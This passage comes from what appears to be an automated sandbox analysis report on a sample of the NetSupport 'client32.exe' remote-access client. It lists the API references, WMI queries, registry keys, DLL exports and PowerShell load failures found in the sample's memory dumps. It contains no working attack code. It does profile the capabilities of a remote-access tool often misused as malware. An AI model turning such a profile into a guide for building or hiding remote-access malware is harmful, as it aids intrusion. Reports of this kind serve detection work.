00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter InternetCloseHandle (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter TryEnterCriticalSection (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter GetProcessHandleCount (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter GetGuiResources (UID: 00000000-00001628) "client32.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00001628)47:T41a,"SELECT * FROM Win32_SystemEnclosure" (Source: 00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp, Indicator: "select * from win32_systemenclosure") "SELECT * FROM %s" (Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp, Indicator: "select * from %s") "Select the group from the dropdown list below and click OK to join it" (Source: 00000000-00001628.00000001.107910.111F2000.00000002.mdmp, Indicator: "select the group from the dropdown list below and click ok to join it") "Select your team from the dropdown list below and click OK to join it" (Source: 00000000-00001628.00000001.107910.111F2000.00000002.mdmp, Indicator: "select your team from the dropdown list below and click ok to join it") "Select Control to Chat to:%Select Control(s) to disconnect from:" (Source: 00000000-00001628.00000001.107910.111F2000.00000002.mdmp, Indicator: "select control to chat to:%select control(s) to disconnect from:")48:T4d5,Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CreateProcessAsUserA" (Indicator: "CreateProcess"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CreateProcess() failed:" (Indicator: "CreateProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "launch Player, Time out on CreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "CreateProcessAsUserA" (Indicator: "CreateProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp")49:T496,Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RegCreateKeyA" (Indicator: "RegCreateKey"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RegCreateKeyExW" (Indicator: "RegCreateKey"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RegConnectRegistryW" (Indicator: "RegConnectRegistry"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RegCreateKeyTransactedA" (Indicator: "RegCreateKey"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "RegCreateKeyTransactedA" (Indicator: "RegCreateKeyTransacted"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "RegCreateKeyA" (Indicator: "RegCreateKey"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp")4a:T669,Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "IcmpCreateFile" (Indicator: "CreateFile"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "ZwCreateFile" (Indicator: "CreateFile"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "ZwCreateFile" (Indicator: "ZwCreateFile"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "CSmartcardDevice - CreateFile failed (%d)" (Indicator: "CreateFile"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp")4b:T4c8,Found reference to API "WinExec" (Indicator: "WinExec"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "ShellExecuteA" (Indicator: "ShellExecute"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "ShellExecuteW" (Indicator: "ShellExecute"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "ShellExecuteExW" (Indicator: "ShellExecute"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WinExec" (Indicator: "WinExec"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "ShellExecuteA" (Indicator: "ShellExecute"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "ShellExecuteW" (Indicator: "ShellExecute"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp") Found reference to API "ShellExecuteExW" (Indicator: "ShellExecute"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp")4c:T6a9,Found reference to API "FindResourceW" (Indicator: "FindResource"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "LockResource" (Indicator: "LockResource"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FindResourceExA" (Indicator: "FindResource"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "FindResourceExA" (Indicator: "FindResource"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp")4d:Tc18,Found reference to API "LogonUserA" (Indicator: "LogonUser"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "NSMLogonUser Failed" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "LsaLogonUser" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "MyLogonUser status = %l" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "MyLogonUser FAILURE: Status = STATUS_NO_SUCH_PACKAGE" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "MyLogonUser FAILURE: Status = STATUS_NO_LOGON_SERVERS" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "MyLogonUser FAILURE: Status = STATUS_LOGON_FAILURE" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "MyLogonUser FAILURE: Status = STATUS_BAD_VALIDATION_CLASS" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "MyLogonUser FAILURE: Status = STATUS_ACCOUNT_RESTRICTION" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "MyLogonUser FAILURE: Status = STATUS_QUOTA_EXCEEDED" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "LogonUserWithCert FAILED (%d)" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "LogonUserWithCert - Crypt32.dll does NOT provide required functionality!" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "LogonUserWithCert - Advapi32.dll does NOT provide required functionality!" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "LogonUserWithCert - CredMarshalCredential FAILED (%d)" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "LogonUserWithCert - Crypt32.dll NOT found!!!" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "LogonUser(%s, %s) took %d ms, ret %d" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "OldLogonUser" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "Info. LogonUser(%s) failed, e=%d (x%x)" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "LogonUserA" (Indicator: "LogonUser"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp")4e:T824,Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp")4f:T72f,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "LookupPrivilegeNameA" (Indicator: "LookupPrivilegeName"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "Warning. OpenProcess failed for pid %x, e=%d" (Indicator: "OpenProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "Warning. OpenProcessToken failed, e=%d" (Indicator: "OpenProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "OpenProcessToken FAILED (%d)" (Indicator: "OpenProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "LookupPrivilegeNameA" (Indicator: "LookupPrivilegeName"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp")50:T549,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WSAGetLastError" (Indicator: "GetLastError"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "WSASetLastError" (Indicator: "SetLastError"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "ok || GetLastError() == 1410" (Indicator: "GetLastError"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp")51:T40c,Found reference to API "ShowWindow" (Indicator: "ShowWindow"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetShellWindow" (Indicator: "GetShellWindow"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "CloseShowWindow" (Indicator: "ShowWindow"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "NSMShowWindow::m_aProp" (Indicator: "ShowWindow"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "ShowWindow" (Indicator: "ShowWindow"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetWindowThreadProcessId" (Indicator: "GetWindowThreadProcessId"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "ShowWindow" (Indicator: "ShowWindow"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp")52:T816,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" contains export function called "__dbk_fcall_wrapper" at ordinal 2 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" contains export function called "dbkFCallWrapperAddr" at ordinal 1 "AudioCapture.dll" contains export function called "AddAudioCaptureEventListener" at ordinal 1 "AudioCapture.dll" contains export function called "DeviceChange" at ordinal 2 "AudioCapture.dll" contains export function called "Initialise" at ordinal 3 "AudioCapture.dll" contains export function called "IsCapturing" at ordinal 4 "AudioCapture.dll" contains export function called "RegisterWindow" at ordinal 5 "AudioCapture.dll" contains export function called "RemoveAudioCaptureEventListener" at ordinal 6 "AudioCapture.dll" contains export function called "StartCapturing" at ordinal 7 "AudioCapture.dll" contains export function called "StopCapturing" at ordinal 8 "AudioCapture.dll" contains export function called "UnInitialise" at ordinal 9 "pcicapi.dll" contains export function called "CapiClose" at ordinal 1 "pcicapi.dll" contains export function called "CapiConnected" at ordinal 2 "pcicapi.dll" contains export function called "CapiDial" at ordinal 3 "pcicapi.dll" contains export function called "CapiHangup" at ordinal 4 "pcicapi.dll" contains export function called "CapiListen" at ordinal 5 "pcicapi.dll" contains export function called "CapiNotify" at ordinal 6 "pcicapi.dll" contains export function called "CapiOpen" at ordinal 7 "pcicapi.dll" contains export function called "CapiOpen2" at ordinal 8 "pcicapi.dll" contains export function called "CapiRead" at ordinal 9 "pcicapi.dll" contains export function called "CapiSend" at ordinal 10 "PCICL32.DLL" contains export function called "_GetRawWMIStringW@16" at ordinal 1 "PCICL32.DLL" contains export function called "_GetWMIStringW@16" at ordinal 2 "PCICL32.DLL" contains export function called "_IsAcerA@8" at ordinal 3 "PCICL32.DLL" contains export function called "_NSMClient32@8" at ordinal 453:T23be,"Software\Embarcadero\Locales" in Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe "Software\CodeGear\Locales" in Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe "Software\Borland\Locales" in Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe "Software\Borland\Delphi\Locales" in Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 29655-149-00C0D560 "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 29655-182-00C08190 "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 29655-182-00C08190 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 29655-182-00C08190 "SOFTWARE\Microsoft\PowerShell\3" in Source: 29655-184-00C0BFA2 "SOFTWARE\Microsoft\PowerShell" in Source: 29655-195-00C08AF0 "Registry\Machine\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}" in Source: 00000000-00001628.00000000.105989.02CC0000.00000004.mdmp 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}" in Source: 00000000-00001628.00000000.105989.02CC0000.00000004.mdmp 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}" in Source: 00000000-00001628.00000000.105989.02CC0000.00000004.mdmp 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}" in Source: 00000000-00001628.00000000.105989.02CC0000.00000004.mdmp 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}" in Source: 00000000-00001628.00000000.105989.02CC0000.00000004.mdmp 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}" in Source: 00000000-00001628.00000000.105989.02CC0000.00000004.mdmp 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp "SYSTEM\CurrentControlSet\Services\nsafltr\Parameters" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SYSTEM\CurrentControlSet\Enum\ACPI" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\TabTip.exe" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "System\CurrentControlSet\Services\Gdihook5" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\NetSupport Ltd\Client32" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\NSL\Saved\DS" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SYSTEM\CurrentControlSet\Hardware Profiles\Current\System\CurrentControlSet\Enum" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\Policies\NetSupport\Client\standard" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\Classes\ActivatableClasses\Package\DefaultBrowser_NOPUBLISHERID\Server\DefaultBrowserServer" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\Productive Computer Insight\Client32" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\Productive Computer Insight\Client32\AutoReconnect" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Winlogon" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "\Registry\Machine\SOFTWARE\Classes\NPPr675hg" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\Classes\VirtualStore\MACHINE\%s\%s\ConfigList" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\Policies\NetSupport" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\Policies\NetSupport\Client\Standard" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\Policies\NetSupport\Client" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp ".DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\%c" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{787DFE02-CC6C-4AAC-B455-166BBEE4C5AF}" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C412F191-BB15-4e40-9CCC-97E571D2C6BF}" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3F709462-4AD7-482F-8761-C6ED6AD145A1}" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Set [HKLM\%s]%s=1 (from %d)" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SYSTEM\CurrentControlSet\Hardware Profiles\Current\System\CurrentControlSet" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Print\Monitors\Standard TCP/IP Port\Ports" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Print\Monitors\Standard TCP/IP Port\Ports\" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\NetSupport Ltd\Client32" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "\Registry\Machine\SOFTWARE\Classes\N%x.%s" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "\Registry\Machine\SOFTWARE\Classes\N%x" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "System\CurrentControlSet\Control\GraphicsDrivers\DCI" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\Microsoft\Internet Explorer\Main" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "System\CurrentControlSet\Control\ProductOptions" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\NSL" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\RM\Connect" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\Research Machines\Network Management\Location Chooser" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\NetSupport Ltd\PCICTL" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\Productive Computer Insight\PCICTL" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\FontSubstitutes" in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\Productive Computer Insight" in Source: 00000000-00001628.00000001.107910.111DD000.00000004.mdmp "Software\NetSupport Ltd" in Source: 00000000-00001628.00000001.107910.111DD000.00000004.mdmp "System\CurrentControlSet\Services\Winsock\Autodial" in Source: 00000000-00001628.00000001.107910.111DD000.00000004.mdmp54:T11c2,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module 